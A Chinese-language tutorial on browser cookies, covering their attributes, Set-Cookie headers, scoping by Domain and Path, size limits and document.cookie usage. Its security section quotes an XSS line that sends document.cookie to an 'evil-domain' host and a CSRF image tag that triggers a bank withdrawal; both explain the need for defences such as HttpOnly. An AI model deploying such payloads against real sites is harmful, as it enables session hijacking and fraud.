cookie 是什么和使用场景

cookie 是服务器端保存在浏览器的一小段文本信息,浏览器每次向服务器端发出请求,都会附带上这段信息(不是所有都带上,具体的下文会介绍)

使用场景:

  • 对话管理:保存登录、购物车等需要记录的信息
  • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等
  • 追踪:记录和分析用户的行为

以上用得较多的还是第一种场景。

我们有时候用 cookie 作为客户端储存,可行但不推荐。因为 cookie 本身大小有所限制,而且会影响性能。存储还是应该考虑localStoragesesseionStorage 或者 indexDB

cookie 的几个重要属性

在了解各个属性之前,我们先打开浏览器调试——Application——Cookies——选中一个域

上面就会有这些 cookie 的名称,值,DomainPathExpires/Max-ageSizeHTTPSecure

我们接下来就是要讲这里面几个重要的点

Expires 和 Max-Age

这两个属性涉及到 cookie 的存活时间

Expires 属性指定一个具体的到期时间,到了这个指定的时间之后,浏览器就不再保留这个 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式进行转换

设置如下:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
复制代码

Max-Age 属性制定了从现在开始 cookie 存在的秒数,比如 60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie

Max-Age 的优先级会比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客户端的时间可能有误)比较小。

如果两者都不设置的,那么这个 cookie 就是Session Cookie,也一旦关闭浏览器,浏览器就不会保留这个这个 cookie

Domain 和 path

这两个属性决定了,HTTP 请求的时候,哪些请求会带上哪些 Cookie,具体下面会做讲解。

Secure 和 HttpOnly

Secure 属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的 Secure 属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

设置了 Secure 这个属性,那么就会在 Secure 这一栏打钩

HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是Document.cookie 属性、XMLHttpRequest 对象和Request API都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie

设置了 HttpOnly 这个属性,那么就会在 HTTP 这一栏打钩

cookie 和 HTTP 协议

HTTP response——cookie 生成

如果服务器端希望在浏览器种 cookie,那么它只需要在 HTTP 请求头信息中,放置一个 Set-Cookie 的字段。举个例子:

Set-Cookie:foo=bar

那么就会在浏览器种保存一个名为 foo,值为 barcookie

除了值之外,还可以设置其他的属性

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
复制代码

当然,一个 Set-Cookie 字段是可以同时包含多个属性(而且没有次序要求),如下所示:

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
复制代码

注意一点就是,如果你想要使用 Set-Cookie 修改一个已经存在的 cookie 的值,那么要注意,你必须匹配原有的所有的属性值(如果存在的话),否则就会生成一个新的 cookie,而不是修改它的值

比如,原有的 cookie 为:

Set-Cookie: key1=value1; domain=example.com; path=/blog
复制代码

那么你正确的修改方式应该是:

Set-Cookie: key1=value2; domain=example.com; path=/blog
复制代码

如果你的修改方式如下的话:

Set-Cookie: key1=value2; domain=example.com; path=/
复制代码

就会在浏览器端设置两个同名的 cookie 如下:

Cookie: key1=value1; key1=value2
复制代码

这不是我们希望看到的!

HTTP request——cookie 发送

这里涉及到一个问题,是不是每个请求我们都会带上所有的 cookie,显然不是的,要不性能就会十分低下了。那么浏览器是根据什么判别哪些请求会带上哪些 cookie 呢?

这就跟 Domainpath 属性息息相关了

比如,现在一个 cookie 它的 Domain 属性为 www.example.compath 属性值为 /。意味着,这个 cookie 对该域的根路径以及它的所有子路径都有效。如果我们修改了它的 path 值,为 /forums,那么这个 cookie 只要在访问 www.example.com/forums 及其子路径时才会带上。

cookie 和安全

会话劫持和XSS

Web 应用中,cookie 常用来标记用户或授权会话,如果这些信息(cookie)会被窃取,可能导致授权用户的会话从而网页收到攻击,比如:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
复制代码

HttpOnly 类型的 cookie 就可以组织 Js 对其的访问从而缓解这种攻击

跨站点请求伪造(CSRF)

比如某个网站的图片如下:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
复制代码

当你打开这个图片的时候,如果你登录之前的银行账号而且 cookie 仍然有效(还没有其他验证的步骤,有点极端),那么你的账户就有可能有危险了。

cookie 自动删除和手动删除

在了解 cookie 自动删除之前,我们先来了解小 cookie 的一些限制条件:

  • 发送到服务器端的所有 cookie 的最大数量不能超出 4kb,所有超出该限制的 cookie 都会被截断并且不会发送到服务器端。
  • IE7 以后限制每个域名下 cookie 的数量不得超过 50 个,Opera 限定 cookie 的数量为 30个,SafariChrome 就没有这种限制。

其限制的原因,主要在于阻止 cookie 的滥用,而且 cookie 会被发送到服务器端,如果数量太大的话,会严重影响请求的性能。以上这两个限制条件,就是 cookie 为什么会被浏览器自动删除的原因了。

自动删除主要存在以下几种可能:

  • 会话 cookie(session cookie)在会话结束的时候(浏览器关闭)会被删除
  • 持久化 cookie(Persistent cookie)在到达失效日期的时候会被删除
  • 浏览器的 cookie 达到上限,会自动清除,然后为新建的 cookie 腾出空间

document.cookie

对于前端而言,我们获取 cookie 和设置 cookie 都是通过 document.cookie 的方式进行的。

读取 cookie

获取如下(当然是这个 cookie 没有 HttpOnly 属性)

可以看到,document.cookie 是将所有的可以读的 cookie 一次性读出来的,使用分号分割,所以必须手动的分割

var cookies = document.cookie.split(';');for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]);
}
// foo=bar
// baz=bar
复制代码

写入cookie

我们可以通过 document.cookie 为当前的网站添加 cookie

document.cookie = 'fontSize=14';
复制代码

写入的时候,Cookie 的值必须写成 key=value 的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用 encodeURIComponent 方法达到。

但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
复制代码

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

例如:

document.cookie = 'fontSize=14; '+ 'expires=' + someDate.toGMTString() + '; '+ 'path=/subdirectory; '+ 'domain=*.example.com';
复制代码

删除 cookie

删除一个现存 Cookie 的唯一方法,是设置它的 expires 属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
复制代码

作者:Gping
链接:https://juejin.im/post/5cd60dd751882520365ab55a
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

前端须知的 Cookie 知识小结相关推荐

  1. 产品经理须知 | API接口知识小结

    作者:椒图 (转载已取得作者授权) 应用程序接口API(Application Programming Interface),是提供特定业务输出能力.连接不同系统的一种约定.这里包括外部系统与提供服务 ...

  2. 前端基础学习html部分小结

    前端基础学习html部分小结 1 了解知识 1.1 网页的组成 html(Hyper Text Markup Language)指的是超文本标记语言,可以加入图片.声音.动画.多媒体等内容.还可以从一 ...

  3. 前端性能优化基础知识--幕课网

    作为一个前端小码农,在页面样式都能实现以后,就开始考虑:同一个效果,我该用什么样的方式和代码去实现它比较规范?前两天逛幕课网发现了两门课程–<前端性能优化-基础知识认知>和<前端性能 ...

  4. web前端怎么获取cookie?

    在前端开发中有些情况下需要获取用户的cookies,这样当用户下次登录网站的时候就不需要重复的去调整功能,那么你知道如何去实现吗? 先放一段完整的JS代码,后面都有功能备注,大家可以自己先看一下. 下 ...

  5. 一份【超级全面】的前端工程师的技术知识自检清单,初学者请收藏

    开篇 前端开发是一个非常特殊的行业,它的历史实际上不是很长,但是知识之繁杂,技术迭代速度之快是其他技术所不能比拟的. 到现在为止,前端工程师已经成为研发体系中的重要岗位之一.可是,与此相对的是,我发现 ...

  6. java 前端基础知识_【计算机·知识】关于前端的计算机基础知识

    原标题:[计算机·知识]关于前端的计算机基础知识 作为一个刚刚入门的程序猿,你是否对专业知识有足够的了解?今天新闻君带你走进前端的世界. 前端的语言接触起来相对于后端的语言要容易不少,但前端的语言也有 ...

  7. 好程序员分享24个canvas基础知识小结

    好程序员分享24个canvas基础知识小结,非常全面详尽,推荐给大家. 现把canvas的知识点总结如下,以便随时查阅. 1.填充矩形 fillRect(x,y,width,height); 2.绘制 ...

  8. unicode 编码转换漏洞_好程序员Python教程之字符串编码知识小结

    好程序员Python教程之字符串编码知识小结,提及Python字符串,你会想到什么?是ASCII,还是Unicode?他们之间是如何转换的?字符串编码和字符串有什么区别?接下来好程序员Python教程 ...

  9. 前端开发的浏览器知识

    前端开发的浏览器知识 1.1 在浏览器中输入url 用户输入url,例如http://www.feng.com.其中http为协议,www.feng.com为网络地址,及指出需要的资源在哪台计算机上. ...

最新文章

  1. SAP MM 物料库存转固定资产业务操作以及相关财务凭证
  2. 关于ATL生成COM注册失败解决方法
  3. 推荐搜索炼丹笔记:向量召回 MIND多兴趣双塔模型
  4. 8-[多线程] 进程池线程池
  5. 设计模式13_享元模式
  6. 【电脑百科】BT种子
  7. Kaldi AMI数据集脚本学习7---train_deltas.sh
  8. IFormatProvider,ICustomFormatter,IFormattable总结
  9. android windows 虚拟机下载,windows10虚拟机安卓版
  10. 错误 LNK1104 无法打开文件“C:\Users\Administrator\Desktop\新建文件夹\ConsoleApplication1\x64\Debug\ConsoleApplicat
  11. 2020年Web前端面试题及答案----CSS篇
  12. 用python画五角星
  13. 易语言超人气教程第一课(放弃语言之争)
  14. vagrant启动失败解决
  15. 一篇搞懂OOA/OOD/OOP的区别
  16. 目标跟踪之LTMU:High-Performance Long-Term Tracking with Meta-Updater环境配置及代码运行
  17. 6-26 统计专业人数 (15分)
  18. 蓝桥杯python组练题第二天——成绩统计——蓝桥杯官网题库
  19. Laysns内核仿qq技术网址导航网整站源码
  20. Parasoft参与起草《机器人安全系统编码规则(C++)》正式发布

热门文章

  1. odps结合mysql统计
  2. 深入浅出Yolov5之自有数据集训练超详细教程
  3. 力扣:1两数之和(python)-------->双向取值
  4. (一)面试题:TCP三次握手
  5. python list操作复杂度
  6. C#基础回顾:GridView全选演示
  7. JavaScript解析顺序和变量作用域
  8. 《机器学习与R语言(原书第2版)》一2.3 探索和理解数据
  9. VS2005--设置Release模式下调试
  10. 求两个字符串的最长公共字串(连续)